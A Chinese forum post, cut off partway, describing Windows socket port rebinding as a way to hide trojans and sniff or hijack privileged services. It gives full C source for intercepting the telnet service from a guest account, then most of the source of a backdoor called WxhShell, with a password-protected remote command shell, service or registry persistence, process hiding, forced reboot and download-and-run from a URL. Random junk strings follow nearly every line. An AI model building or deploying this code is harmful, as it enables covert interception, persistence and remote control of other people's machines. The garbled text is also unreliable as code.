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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ) ,hj7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dI !/:x  
:7ngVc  
  saddr.sin_family = AF_INET; # 0!IUSa  
"B}08C,?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O0{  
0l6iv[qu5w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /K!,^Xn  
-7O/ed+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O<h#|g1  
`az`?`i7  
  这意味着什么?意味着可以进行如下的攻击: cA%U  
Zd(d]M_x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2SJh6U  
U(N$6{i_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M([H\^\:  
~yi&wbTjM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \!QF9dP4  
=Yj[MVn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +=h!?<*C8  
oPy zk7{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]R{"=H'  
\Ep/'Tj&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fE*I+pe  
| q16%6q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D&r8V;G[[  
8-5 jr_*  
  #include mG~y8nUtp  
  #include SU'1#$69F  
  #include [U(&Ae0V>  
  #include    zzQH@D1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <PN;D#2bh  
  int main() />[6uvy#Q  
  { 4)iEj  
  WORD wVersionRequested; V3W85_*  
  DWORD ret; NydW9r:T  
  WSADATA wsaData; k6-n.Rl01  
  BOOL val; mF}k}0  
  SOCKADDR_IN saddr; )Zf}V0!?+  
  SOCKADDR_IN scaddr; N#)VD\m  
  int err; $l;tP  
  SOCKET s;  GQ0(&I  
  SOCKET sc; W79A4l<  
  int caddsize; c '+r[rSn1  
  HANDLE mt; ;]M67ma7C  
  DWORD tid;   .r|vz6tU?  
  wVersionRequested = MAKEWORD( 2, 2 ); &E &iaw!  
  err = WSAStartup( wVersionRequested, &wsaData ); \ui^ d  
  if ( err != 0 ) { =Xjuz:9D~  
  printf("error!WSAStartup failed!\n"); r)5\3j[P  
  return -1; A]?O& m |  
  } d+2O^of:T  
  saddr.sin_family = AF_INET; J8v:a`bX&  
   h==GdS4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M y"!j,Up  
C9g~l}=$&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0^&R7Rv c  
  saddr.sin_port = htons(23); xnQGCw?S&}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O 4Pd N?  
  { e~s7ggg2k  
  printf("error!socket failed!\n"); '+I 2$xE  
  return -1; [9U srpYi  
  } ; 9 &1JX  
  val = TRUE; .&Pe7`.BE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DYKV54\ue  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eAYW%a  
  { &#oZ>`Qu  
  printf("error!setsockopt failed!\n"); )4)iANH?  
  return -1; `;qv}  
  } 31sgf5 s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?*R^?[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?3TK7]1V:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (bFWT_CChz  
i)=89?8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l6B^sc*@  
  { gqdB!l4  
  ret=GetLastError(); =E}%>un  
  printf("error!bind failed!\n"); `{|}LFS>  
  return -1; eN<pU%7  
  } \m~\,em  
  listen(s,2); v6P~XK}G  
  while(1) x\bRj>%(  
  { W8yfa[z~J  
  caddsize = sizeof(scaddr); _IKP{WNB  
  //接受连接请求 @j\?h$A/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D@(M+u9/%  
  if(sc!=INVALID_SOCKET) ul=a\;3x#|  
  { ?J@?,rZQ^V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d!QD vO  
  if(mt==NULL) 9 QCpXy  
  { zj$_iB`9  
  printf("Thread Creat Failed!\n"); =Sb:<q+Q  
  break; VVQ74b  
  } So\|Ye  
  } UGC|C F2K  
  CloseHandle(mt); u};]LX\E  
  } $|cp;~ 1  
  closesocket(s); &Rl3y\ r  
  WSACleanup(); [5p7@6:$u  
  return 0; KG-k$glD  
  }   ^8-~@01.`_  
  DWORD WINAPI ClientThread(LPVOID lpParam) k|$"TFXx;  
  { }u3H4S<o  
  SOCKET ss = (SOCKET)lpParam; L >Ez-  
  SOCKET sc; "'}v0*[  
  unsigned char buf[4096]; f0mH|tI`  
  SOCKADDR_IN saddr; W#Hv~1  
  long num; QK3j_'F=E  
  DWORD val; IQlw 914  
  DWORD ret; 3dxnh,]&@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yrE,,N%I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w-'D*dOi  
  saddr.sin_family = AF_INET; _5U%'\5s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'e<HPNi)  
  saddr.sin_port = htons(23); D#/%*|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wq{d8|)1  
  { X6Nm!od'  
  printf("error!socket failed!\n"); 5<)gCHa  
  return -1; 43u PH1 )  
  } -l40)^ E}  
  val = 100; wKi}@|0[@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }KD7 Y  
  { 4l%?mvA^m  
  ret = GetLastError(); v`_i1h9p{  
  return -1; Pi"~/MGP$  
  } iFwyh`Bcg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EBIa%,  
  { vNK`Y|u@  
  ret = GetLastError(); ezg^5o;  
  return -1; 0[2BY]`Z.  
  } (ifqwl62  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FD XWFJ  
  { G>[ NZE  
  printf("error!socket connect failed!\n"); qr'x0r|<>  
  closesocket(sc); \C+*loLs  
  closesocket(ss); s#+"5&!s  
  return -1; hs{&G^!jo  
  } <wUD  
  while(1) rTP5-4  
  { HeT6Dv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n?ZL"!$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o%/-5-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]{Mci]H6T  
  num = recv(ss,buf,4096,0); _UH/}!nqB  
  if(num>0) 2|0Qk&  
  send(sc,buf,num,0); G.-h=DT]  
  else if(num==0) T1Gp$l  
  break; GCP{Z]u  
  num = recv(sc,buf,4096,0); SLQ\Y%F  
  if(num>0) wr3_Bf3]  
  send(ss,buf,num,0); xs2,t*  
  else if(num==0) f!M[awj%  
  break; Z^'?|qFj!  
  } )KaLSL>  
  closesocket(ss); J8GXI:y  
  closesocket(sc); o27 3|*  
  return 0 ; ,Lt~u_lve  
  } .g/ARwM}  
C@TN5?Z  
{[M0y*^64$  
========================================================== o~OwE7H)A  
'!j #X_;  
下边附上一个代码,,WXhSHELL C=oM,[ESQ0  
?q d,>  
========================================================== i\kTm?BQZ  
F,p`- m[q  
#include "stdafx.h" O8K@&V p  
)K>Eniou  
#include <stdio.h> 05l0B5'p  
#include <string.h> "8wf.nZ  
#include <windows.h> B\=SAi  
#include <winsock2.h> tr6jh=  
#include <winsvc.h> yCF"Z/.  
#include <urlmon.h> [+g(  
TIcd _>TW  
#pragma comment (lib, "Ws2_32.lib") ZQ,fm`y\  
#pragma comment (lib, "urlmon.lib") dWsT Jyx~  
E^Q@9C<!d  
#define MAX_USER   100 // 最大客户端连接数 j!zA+hF (  
#define BUF_SOCK   200 // sock buffer YMc8Q\*B  
#define KEY_BUFF   255 // 输入 buffer ^%\)Xi  
P &;y] ,)E  
#define REBOOT     0   // 重启 L.C ^E7;Z_  
#define SHUTDOWN   1   // 关机 zY7*[!c2  
(v|r'B9 b  
#define DEF_PORT   5000 // 监听端口 "rme~w Di  
T"L0Iy!k;  
#define REG_LEN     16   // 注册表键长度 Ys"|</;dbj  
#define SVC_LEN     80   // NT服务名长度 0Y2\n-`z  
g\ErJ+i  
// 从dll定义API ! (2-(LgA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9 9Ba{qj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !MZ+-dpK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u~$WH, P3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pyUNRqp  
XXa(305  
// wxhshell配置信息 eq^TA1>T  
struct WSCFG { vS7/~:C  
  int ws_port;         // 监听端口 nkCecwzr-  
  char ws_passstr[REG_LEN]; // 口令 *ZGX-+{  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,\BVV,  
  char ws_regname[REG_LEN]; // 注册表键名 cU7rq j_  
  char ws_svcname[REG_LEN]; // 服务名 Yta1`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5;X {.2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c u\ls^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2{Wo-B,wt~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~R :<Bw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7IA3q{P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z7-`Y9Ypd  
+O)]^"TG  
}; :=rA Yc3]  
FJO"|||Y'|  
// default Wxhshell configuration J&A;#<qY  
struct WSCFG wscfg={DEF_PORT, M-{*92y& |  
    "xuhuanlingzhe", }X=87ud  
    1, 6!ZVd#OM%  
    "Wxhshell", \.c]kG>k-  
    "Wxhshell", M6J/mOVx5  
            "WxhShell Service", ./#e1m?.  
    "Wrsky Windows CmdShell Service", fJX\'Rc\  
    "Please Input Your Password: ", Hl4\M]]/&  
  1, }0$mn)*k  
  "http://www.wrsky.com/wxhshell.exe", D,MyI#  
  "Wxhshell.exe" Q(lku"U'  
    }; UE^D2u  
!tI=`Ml[  
// 消息定义模块 O~.U:45t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |Dg;(i?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {]=v]O |,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (YIhTSL"]  
char *msg_ws_ext="\n\rExit."; g]za"U|g  
char *msg_ws_end="\n\rQuit."; x Y| yI>  
char *msg_ws_boot="\n\rReboot..."; \ZS\i4  
char *msg_ws_poff="\n\rShutdown..."; J2r1=5HS  
char *msg_ws_down="\n\rSave to "; z+jh ;!i  
(zY *0lN  
char *msg_ws_err="\n\rErr!"; YZibi  
char *msg_ws_ok="\n\rOK!"; #Rc5c+/(  
5^>n5u/  
char ExeFile[MAX_PATH]; BjiYv}J  
int nUser = 0; I0DM=V>;  
HANDLE handles[MAX_USER]; N=#4L$@-  
int OsIsNt; }'lNi^"XL  
9mQ#L<Ps  
SERVICE_STATUS       serviceStatus; Te;gVG*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,>u=gA&}  
aM$\#Cx  
// 函数声明 PPa^o8jd  
int Install(void); X/Y#U\  
int Uninstall(void); a+41Ojv (  
int DownloadFile(char *sURL, SOCKET wsh); {rC~ P  
int Boot(int flag); #XI"@pD  
void HideProc(void); L~dC(J)@ZI  
int GetOsVer(void); *zy'#`>  
int Wxhshell(SOCKET wsl); k(vPg,X>m  
void TalkWithClient(void *cs); kJkxx*:u  
int CmdShell(SOCKET sock); cn%2OP:L^  
int StartFromService(void); Sj)}qM-y#  
int StartWxhshell(LPSTR lpCmdLine); [Uli>/%JB  
TFy7HX\Oq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F6W}mMZH/N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pd~MiyO;K  
2J<&rKCF  
// 数据结构和表定义 hmZvIy(  
SERVICE_TABLE_ENTRY DispatchTable[] = yG&2UqX  
{ S$e Dnw~$  
{wscfg.ws_svcname, NTServiceMain}, u g\w\b  
{NULL, NULL} Qw?+!-7TN  
}; w(B H247`  
A62<]R)n  
// 自我安装 nJJs% @y  
int Install(void) cXN _*%  
{ qX$u4I!,  
  char svExeFile[MAX_PATH]; 5h8o4  
  HKEY key; -(>qu.[8=  
  strcpy(svExeFile,ExeFile); xhw-2dl*H  
6z?gg3GV  
// 如果是win9x系统,修改注册表设为自启动 ~O: U|&  
if(!OsIsNt) { |)o#|Qo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t};~H\:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TJaeQqob  
  RegCloseKey(key); Rg* J}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ [7 Vgs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k=/eM$":  
  RegCloseKey(key); g{>^`JtP  
  return 0; 5+P@s D  
    } gLQ #4H  
  } ^7aN2o3{  
} >fzwFNdo  
else { sG,+  
Y)XvlfJ,h?  
// 如果是NT以上系统,安装为系统服务 >t3'_cBC!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g:<?  
if (schSCManager!=0) M=y0PCD  
{ }"zC >eX&  
  SC_HANDLE schService = CreateService }q!_!q,@  
  ( M)!skU   
  schSCManager, !QEL"iJ6M'  
  wscfg.ws_svcname, B9X8  
  wscfg.ws_svcdisp, }nud  
  SERVICE_ALL_ACCESS, NQ9Ojj{#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w#(RW7":F  
  SERVICE_AUTO_START, [f!O6moR6  
  SERVICE_ERROR_NORMAL, c8A`<-\MfB  
  svExeFile, [B^G-  
  NULL, 44sy`e  
  NULL, # |^^K!%  
  NULL, q0O&UE)6Y  
  NULL, [pgZbOIN37  
  NULL ]hE="z=n  
  ); @Bs0Avj.  
  if (schService!=0) 4h|dHXYZ  
  { _+w/ pS`M  
  CloseServiceHandle(schService); %f&< wC  
  CloseServiceHandle(schSCManager); .Q&rfH3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I,O#X)O|i  
  strcat(svExeFile,wscfg.ws_svcname); /#S>sOg2xq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PlCc8Zy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~`eHHgX  
  RegCloseKey(key); } /e`v6  
  return 0; N4UM82N  
    } 9z ?7{2C  
  } K:5eek  
  CloseServiceHandle(schSCManager); u&]vd /  
} N[U9d}Zv  
} >dQK.CG  
Bct"X#W|&  
return 1; N.j "S'(i  
} |(% u}V?  
`v nJ4*  
// 自我卸载 Yrn"saVc,  
int Uninstall(void) Jx|I6 y  
{ uDayBaR  
  HKEY key; ^O6* e]C$  
[-w@.^:]X  
if(!OsIsNt) { nr\q7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v{;7LXy0  
  RegDeleteValue(key,wscfg.ws_regname); RL}KAGK  
  RegCloseKey(key); YQ(Po!NI\'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2t1I3yA'{z  
  RegDeleteValue(key,wscfg.ws_regname); `/Y+1 aD  
  RegCloseKey(key); q'S =Eav8  
  return 0; cd.brM  
  } .%xzT J=!  
} d^V$Z6* ]  
} ?tYpc_p#  
else { p!W[X%`)  
z?ucIsbR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;D2E_!N dt  
if (schSCManager!=0) |4b)>8TL/  
{ I mym+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R+=a`0_S  
  if (schService!=0) Xm_$ dZ  
  { BW Uq%o,@g  
  if(DeleteService(schService)!=0) { G'#41>q+  
  CloseServiceHandle(schService); g9mG`f  
  CloseServiceHandle(schSCManager); l]#!+@  
  return 0; c^.l 2Q!  
  } =-jD~rN4;P  
  CloseServiceHandle(schService); N$alUx*  
  } O/OiQ^T  
  CloseServiceHandle(schSCManager); py<_HyJ  
} ]=&L_(34  
} z,f=}t[.Y  
F $yO  
return 1; IazkdJX~  
} (ku5WWJ  
;vp\YIeX1  
// 从指定url下载文件 SUdm 0y  
int DownloadFile(char *sURL, SOCKET wsh) >Da~Q WW|  
{ M##';x0  
  HRESULT hr; e!x6bR9EZ  
char seps[]= "/"; {aj/HFLNY  
char *token; %c/^_.  
char *file; V1bh|+o9  
char myURL[MAX_PATH]; |V&G81sM  
char myFILE[MAX_PATH]; 1dG06<!  
B~gV'(9g  
strcpy(myURL,sURL); yTAvF\s$(  
  token=strtok(myURL,seps); hWEnn=BW  
  while(token!=NULL) H{`{)mS  
  { $k 2)8#\  
    file=token; [*Ju3  
  token=strtok(NULL,seps); dcq#TBo8  
  } G=d(*+& B  
5nLDj:C~  
GetCurrentDirectory(MAX_PATH,myFILE); ,=%nw]:  
strcat(myFILE, "\\"); }Uw#f@Wh  
strcat(myFILE, file); >bm|%Ou"  
  send(wsh,myFILE,strlen(myFILE),0);  Ewo~9 4{  
send(wsh,"...",3,0); UTk r.T+2X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :jem~6i  
  if(hr==S_OK) |X(2Zv^O  
return 0; ;e s^R?z  
else Ok H\^  
return 1; Ex(3D[WmMW  
\M+L3*W  
} xHkxc}h  
:pC;`iQ  
// 系统电源模块 'Cg{_z.~c  
int Boot(int flag) nkY@_N  
{ !,&yyx.  
  HANDLE hToken; EESN\_{~.  
  TOKEN_PRIVILEGES tkp; dbF M,"^  
:Ml7G  
  if(OsIsNt) { l?E|R Kp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9%DT0.D}$j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9y]J/1#  
    tkp.PrivilegeCount = 1; \C|cp|A*&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lpC @I^:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &=q! Wdw~  
if(flag==REBOOT) { _a -]?R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B@K[3  
  return 0; tS?lB05TOR  
} 5vOCCW  
else { ;u-4KK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Fwfo2   
  return 0; *y7 $xa4  
} Y94MI1O5$  
  } T1 MY X  
  else { SgM.B  
if(flag==REBOOT) { F:T GsV#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >- Bg%J9  
  return 0; =_d%=m  
} ]H[8Z|i""  
else { /9hR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k onoI&kV|  
  return 0; Vz:_mKA  
} tk?UX7F  
} >)#c\{ c  
vq6%Ey3Gix  
return 1; ygViPz<J  
} < oI8-f  
AXW!]=?X  
// win9x进程隐藏模块 nWgv~{,x  
void HideProc(void) 7TWNB{ K_  
{ HD-Erop  
XD%wj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 46XN3r  
  if ( hKernel != NULL ) 284zmZZ  
  { 96ZdM=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ltA/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A"l{?;~  
    FreeLibrary(hKernel); "yh Pm  
  } ~"dhu]^  
 ?J&)W,~  
return; t_c?Wp~tH  
} ;e{5)@h$  
K{DAOQ.z  
// 获取操作系统版本 );JJ2Jlkd  
int GetOsVer(void) - q@69q  
{ 8;zDg$ (  
  OSVERSIONINFO winfo; SG'JE}jzO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aG27%(@  
  GetVersionEx(&winfo); ImkrV{,e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oY3>UZ5\  
  return 1; 8T5k-HwE  
  else %a 8&W  
  return 0; #Z9L_gDp  
} r"_Y3SxxL  
Spj9H?m  
// 客户端句柄模块 i0Pn Z J  
int Wxhshell(SOCKET wsl) fI:H8  
{ b9("DZW;  
  SOCKET wsh; \ P/W8{  
  struct sockaddr_in client; JP=ZUu  
  DWORD myID; g(m_yXIx  
ElR)Gd_8  
  while(nUser<MAX_USER) km 5E)_]  
{ Ci\? ^  
  int nSize=sizeof(client); ~j& ?/{7I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pes =aw  
  if(wsh==INVALID_SOCKET) return 1; ->oz#  
m,6h ee  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fl uGf  
if(handles[nUser]==0) +/cgw,  
  closesocket(wsh); Gp|JU Fo  
else q=0 pQ1>  
  nUser++; %z)EO9vtr  
  } J$[Q?8 ka  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nQLs<]h1  
jnBC;I[:  
  return 0; o)I/P<  
} Fd8hGj1  
d*-Xuv  
// 关闭 socket =AkX4k  
void CloseIt(SOCKET wsh) x_:hii?6V  
{ nVOqn\m-  
closesocket(wsh); v33T @  
nUser--; J(9=T<%T  
ExitThread(0); \Jpw1,6  
} 7),*3c')  
GX38~pq  
// 客户端请求句柄 08r[K(bfb,  
void TalkWithClient(void *cs) K51fC4'{  
{ !S,pRS+  
Z_itu73I  
  SOCKET wsh=(SOCKET)cs; wn84?$BGd  
  char pwd[SVC_LEN]; e,Zv]Cym  
  char cmd[KEY_BUFF]; v5 Y)al@  
char chr[1]; Xb<)LHA~3  
int i,j; gWu"91Y0>  
*l!5QG UoK  
  while (nUser < MAX_USER) { yq6LH   
ETelbj;0  
if(wscfg.ws_passstr) { RKe?.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [%~NM/xu<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); shK&2Noan  
  //ZeroMemory(pwd,KEY_BUFF); \=g!$  
      i=0; %ck`0JZAP  
  while(i<SVC_LEN) { wE2x:Ge:  
#W5Yw>$  
  // 设置超时 /(zB0TEd  
  fd_set FdRead; D_ ug-<QT  
  struct timeval TimeOut; 3"tg+DncC  
  FD_ZERO(&FdRead); 3- )kwy6L  
  FD_SET(wsh,&FdRead); 9::YR;NY  
  TimeOut.tv_sec=8; VjTAN=  
  TimeOut.tv_usec=0; C yf]`*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3@HIpQM3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Pz {Ig  
7'UWRRsxUF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |"\lL9CT  
  pwd=chr[0]; W-XN4:,qI  
  if(chr[0]==0xd || chr[0]==0xa) { 8A_TIyh?  
  pwd=0; llqDT-cp  
  break; Tw}z7U"  
  } q]l\`/R%u  
  i++; 0 r3N^_}  
    } 8;.` {'r  
P:a*t[+  
  // 如果是非法用户,关闭 socket )$F6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1gAc,s2  
} ,O9`X6rh'  
STRyW Ml  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZjavD^ky  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HnK/A0jM  
dw99FA6  
while(1) { !Iko0#4i  
U]mO7HK  
  ZeroMemory(cmd,KEY_BUFF); u2om5e:  
rr4 _8Rf  
      // 自动支持客户端 telnet标准   -W6V,+of  
  j=0; hhj ,rcsi  
  while(j<KEY_BUFF) { J{x##p<F$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4sQ~&@[Q+  
  cmd[j]=chr[0]; Bf(Mot^  
  if(chr[0]==0xa || chr[0]==0xd) { 04[)qPPS  
  cmd[j]=0; dcR6KG8  
  break; y|LXDq4Wj  
  } 6d(b'S^  
  j++; Y?e3Bx7*b  
    } bZnDd  
$"(3MnR  
  // 下载文件 /Sh4pu"'  
  if(strstr(cmd,"http://")) { *fOIq88  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DW4MA<UQ  
  if(DownloadFile(cmd,wsh)) ls]Elo8h1f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h!~|6nj  
  else p+5#dbyr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +E `063  
  } <WgG=Kf)N  
  else { 6yi/&#YM  
:e52hK1[T  
    switch(cmd[0]) { -ca]Q|m8  
  %pM :{Z  
  // 帮助 Z#[>N,P  
  case '?': { v@]6<e$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ap{{(y&R  
    break; tTE3H_   
  } wfWS-pQ  
  // 安装 vLD:(qTi  
  case 'i': { >02i8:Tp5K  
    if(Install()) t2m  ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s+Cl  
    else n9wj[t1/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F BE @pd  
    break; ?|gGsm+  
    } ~F=#}6kg_  
  // 卸载 Ds;Rb6WcnY  
  case 'r': { uk`d,xF   
    if(Uninstall()) VQ/ <09e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 18J.vcP  
    else JJ*0M(GG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XC 57];-  
    break; U8Cw7u2  
    } pC55Ec<  
  // 显示 wxhshell 所在路径 lxr@[VQ  
  case 'p': { 1\=pPys)  
    char svExeFile[MAX_PATH]; R20a(4 m  
    strcpy(svExeFile,"\n\r"); d#RF0,Y9  
      strcat(svExeFile,ExeFile); )sMAhk|  
        send(wsh,svExeFile,strlen(svExeFile),0); AW]("pt  
    break; $Cut  
    } ]5aux >.n  
  // 重启 Z&BM%.NZJ  
  case 'b': { 44g`=o@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^?81.b|qb  
    if(Boot(REBOOT)) R4[. n@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MM/BJ  
    else { /5a$@%  
    closesocket(wsh); U+I3P  
    ExitThread(0); &8IWDx.7}  
    } Sj,4=a  
    break; m3h2/}%9`  
    } 1"*Nb5s  
  // 关机 U1OLI]P  
  case 'd': { O1l4gduN|i  
